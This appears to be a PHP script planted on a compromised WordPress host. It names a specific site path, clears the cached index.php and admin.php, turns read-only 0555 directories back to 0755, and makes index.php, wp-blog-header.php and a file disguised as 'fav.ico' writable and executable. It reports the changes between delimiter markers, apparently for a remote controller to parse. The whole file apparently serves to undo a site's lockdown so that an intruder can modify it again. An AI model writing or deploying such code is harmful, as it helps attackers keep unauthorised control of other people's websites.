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<?php
function i($i)
{
    echo '{->|' . $i . '|<-}';
}

function recursiveChmodDirectory($path) {
    $count = 0;
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST
    );

    foreach ($iterator as $item) {
        if ($item->isDir()) {
            $permissions = fileperms($item->getPathname());
            $octal_permissions = substr(sprintf('%o', $permissions), -4);
            if ($octal_permissions === '0555') {
                chmod($item->getPathname(), 0755);
                $count++;
            }
        }
    }
    return $count;
}

$path = '/home/streamviewiptv/public_html/mediaspelare.net';
clearstatcache();
$invalidated = 0;
if (function_exists('opcache_invalidate')) {
    $invalidated = opcache_invalidate($path . '/index.php', true);
    $invalidated = opcache_invalidate($path . '/admin.php', true);
}
// 先获取原始权限
$permissions = fileperms($path);
$octal_permissions = substr(sprintf('%o', $permissions), -4);

// 递归修改所有子目录权限并获取修改数量
$modified_count = recursiveChmodDirectory($path);

// 修改主目录权限
chmod($path, 0755);
chmod($path . '/index.php', 0755);
chmod($path . '/wp-blog-header.php', 0755);
chmod($path . '/fav.ico', 0755);

// 获取修改后的权限
$new_permissions = fileperms($path);
$new_octal_permissions = substr(sprintf('%o', $new_permissions), -4);

// 合并输出主目录权限变化和子目录修改数量
i("主目录权限变化: {$octal_permissions} -> {$new_octal_permissions}, 子目录修改数量: {$modified_count}, in:" . $invalidated);